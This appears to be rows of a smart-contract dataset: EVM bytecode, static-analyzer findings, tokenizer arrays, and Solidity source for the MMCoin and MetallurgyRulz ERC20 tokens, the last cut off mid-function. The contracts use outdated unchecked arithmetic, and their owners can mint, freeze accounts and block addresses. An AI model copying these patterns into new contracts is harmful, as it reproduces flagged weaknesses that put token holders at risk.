8383610d49565b505050565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561050b5780601f106104e05761010080835404028352916020019161050b565b600061052961086a610ab3565b846105b1856040518060600160405280602581526020016114a56025913960016000610894610ab3565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190610cb2565b60006105296108d2610ab3565b8484610ba3565b600061052d600883610e45565b606481565b60055461010090046001600160a01b031681565b6006546001600160a01b031681565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610941610ab3565b60055461010090046001600160a01b039081169116146109925760405162461bcd60e51b815260040180806020018281038252602d8152602001806112b8602d913960400191505060405180910390fd5b610637600882610ea9565b6109a5610ab3565b60055461010090046001600160a01b039081169116146109f65760405162461bcd60e51b815260040180806020018281038252602a815260200180611351602a913960400191505060405180910390fd5b610a01600882610ee7565b610637576040805162461bcd60e51b815260206004820152601f60248201527f416464726573733a206164647265737320646f6573206e6f7420657869737400604482015290519081900360640190fd5b600082820183811015610aac576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b038316610afc5760405162461bcd60e51b81526004018080602001828103825260248152602001806114556024913960400191505060405180910390fd5b6001600160a01b038216610b415760405162461bcd60e51b81526004018080602001828103825260228152602001806112966022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610be85760405162461bcd60e51b815260040180806020018281038252602481526020018061132d6024913960400191505060405180910390fd5b6001600160a01b038216610c2d5760405162461bcd60e51b815260040180806020018281038252602281526020018061130b6022913960400191505060405180910390fd5b610c36836108d9565b80610c415750600754155b15610c5657610c51838383610fd4565b6107f7565b6000610c786064610c726007548561112f90919063ffffffff16565b90611188565b90506000610c8683836111ef565b9050610c93858583610fd4565b600654610cab9086906001600160a01b031684610fd4565b5050505050565b60008184841115610d415760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610d06578181015183820152602001610cee565b50505050905090810190601f168015610d335780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038216610d8e5760405162461bcd60e51b815260040180806020018281038252602181526020018061140f6021913960400191505060405180910390fd5b610d9a826000836107f7565b610dd781604051806060016040528060228152602001611274602291396001600160a01b0385166000908152602081905260409020549190610cb2565b6001600160a01b038316600090815260208190526040902055600254610dfd90826111ef565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6000805b610e528461124c565b811015610e9f57826001600160a01b0316846000018281548110610e7257fe5b6000918252602090912001546001600160a01b03161415610e9757600191505061052d565b600101610e49565b5060009392505050565b610eb38282610e45565b610ee35781546001810183556000838152602090200180546001600160a01b0319166001600160a01b0383161790555b5050565b6000805b610ef48461124c565b811015610e9f57826001600160a01b0316846000018281548110610f1457fe5b6000918252602090912001546001600160a01b03161415610fcc57836001610f3b8261124c565b0381548110610f4657fe5b60009182526020909120015484546001600160a01b0390911690859083908110610f6c57fe5b600091825260209091200180546001600160a01b0319166001600160a01b03929092169190911790558354849080610fa057fe5b600082815260209020810160001990810180546001600160a01b0319169055019055506001905061052d565b600101610eeb565b6001600160a01b0383166110195760405162461bcd60e51b81526004018080602001828103825260258152602001806114306025913960400191505060405180910390fd5b6001600160a01b03821661105e5760405162461bcd60e51b81526004018080602001828103825260238152602001806112516023913960400191505060405180910390fd5b6110698383836107f7565b6110a6816040518060600160405280602681526020016112e5602691396001600160a01b0386166000908152602081905260409020549190610cb2565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546110d59082610a52565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008261113e5750600061052d565b8282028284828161114b57fe5b0414610aac5760405162461bcd60e51b815260040180806020018281038252602181526020018061137b6021913960400191505060405180910390fd5b60008082116111de576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b8183816111e757fe5b049392505050565b600082821115611246576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b549056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f2061646472657373416464726573733a2070757368656420616464726573732066726f6d206e6f2d6f776e6572206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365436f6c6c3a207472616e7366657220746f20746865207a65726f2061646472657373436f6c6c3a207472616e736665722066726f6d20746865207a65726f2061646472657373416464726573733a20706f7020616464726573732066726f6d206e6f2d6f776e65722061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365436f6c6c3a20666565206163636f756e742066726f6d20746865207a65726f206164647265737345524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373436f6c6c3a20757064617465642074617820696e666f2066726f6d206e6f2d6f776e6572206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220077a10851ad678d05065f5abffb607a85db3b5a0c4161571acdcdcb13f4a05bc64736f6c63430007060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 28311, 2620, 2683, 2487, 2278, 14526, 2575, 16048, 2094, 2509, 2063, 2692, 2497, 2692, 2050, 2581, 2575, 2050, 2581, 2575, 26337, 20958, 2581, 18827, 2278, 22025, 2475, 2063, 2692, 12879, 2509, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 3904, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,645
0x9578a0fa4dd43630db9a623c3d959d2fc51cdd92
pragma solidity ^0.4.23; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 8; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract MMCoin is owned, TokenERC20 { mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function MMCoin( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } }
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f6578063095ea7b31461018657806318160ddd146101eb57806323b872dd14610216578063313ce5671461029b57806342966c68146102cc57806370a082311461031157806379c650681461036857806379cc6790146103b55780638da5cb5b1461041a57806395d89b4114610471578063a9059cbb14610501578063b414d4b61461054e578063cae9ca51146105a9578063dd62ed3e14610654578063e724529c146106cb578063f2fde38b1461071a575b600080fd5b34801561010257600080fd5b5061010b61075d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014b578082015181840152602081019050610130565b50505050905090810190601f1680156101785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019257600080fd5b506101d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107fb565b604051808215151515815260200191505060405180910390f35b3480156101f757600080fd5b50610200610888565b6040518082815260200191505060405180910390f35b34801561022257600080fd5b50610281600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061088e565b604051808215151515815260200191505060405180910390f35b3480156102a757600080fd5b506102b06109bb565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d857600080fd5b506102f7600480360381019080803590602001909291905050506109ce565b604051808215151515815260200191505060405180910390f35b34801561031d57600080fd5b50610352600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad2565b6040518082815260200191505060405180910390f35b34801561037457600080fd5b506103b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aea565b005b3480156103c157600080fd5b50610400600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c5b565b604051808215151515815260200191505060405180910390f35b34801561042657600080fd5b5061042f610e75565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047d57600080fd5b50610486610e9a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c65780820151818401526020810190506104ab565b50505050905090810190601f1680156104f35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050d57600080fd5b5061054c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f38565b005b34801561055a57600080fd5b5061058f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f47565b604051808215151515815260200191505060405180910390f35b3480156105b557600080fd5b5061063a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610f67565b604051808215151515815260200191505060405180910390f35b34801561066057600080fd5b506106b5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110ea565b6040518082815260200191505060405180910390f35b3480156106d757600080fd5b50610718600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061110f565b005b34801561072657600080fd5b5061075b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611234565b005b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107f35780601f106107c8576101008083540402835291602001916107f3565b820191906000526020600020905b8154815290600101906020018083116107d657829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60045481565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561091b57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055506109b08484846112d2565b600190509392505050565b600360009054906101000a900460ff1681565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610a1e57600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60056020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4557600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806004600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610cab57600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d3657600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f305780601f10610f0557610100808354040283529160200191610f30565b820191906000526020600020905b815481529060010190602001808311610f1357829003601f168201915b505050505081565b610f433383836112d2565b5050565b60076020528060005260406000206000915054906101000a900460ff1681565b600080849050610f7785856107fb565b156110e1578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611071578082015181840152602081019050611056565b50505050905090810190601f16801561109e5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156110c057600080fd5b505af11580156110d4573d6000803e3d6000fd5b50505050600191506110e2565b5b509392505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561116a57600080fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561128f57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff16141515156112f857600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561134657600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156113d457600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561142d57600080fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561148657600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505600a165627a7a7230582042a0065f0c96aebb82ccc44d26848fa94c6a637af82aa4601c83521bc789262e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 28311, 2620, 2050, 2692, 7011, 2549, 14141, 23777, 2575, 14142, 18939, 2683, 2050, 2575, 21926, 2278, 29097, 2683, 28154, 2094, 2475, 11329, 22203, 19797, 2094, 2683, 2475, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2603, 1025, 3206, 3079, 1063, 4769, 2270, 3954, 1025, 3853, 3079, 1006, 1007, 2270, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 16913, 18095, 2069, 12384, 2121, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 3954, 1007, 1025, 1035, 1025, 1065, 3853, 4651, 12384, 2545, 5605, 1006, 4769, 2047, 12384, 2121, 1007, 2069, 12384, 2121, 2270, 1063, 3954, 1027, 2047, 12384, 2121, 1025, 1065, 1065, 8278, 19204, 2890, 6895, 14756, 3372, 1063, 3853, 4374, 29098, 12298, 2389, 1006, 4769, 1035, 2013, 1010, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,646
0x957919528e80c00b8143f68823c397d59249513e
/** *Submitted for verification at Etherscan.io on 2021-08-04 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MetallurgyRulz is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; address payable private _feeAddrWallet3; string private constant _name = "MetallurgyRulz"; string private constant _symbol = "MR"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xaac8cCA2cb2FD2F5b4869BC3f7f4a331C7D97f2A); _feeAddrWallet2 = payable(0xaac8cCA2cb2FD2F5b4869BC3f7f4a331C7D97f2A); _feeAddrWallet3 = payable(0xaac8cCA2cb2FD2F5b4869BC3f7f4a331C7D97f2A); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = 2; _feeAddr2 = 8; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) 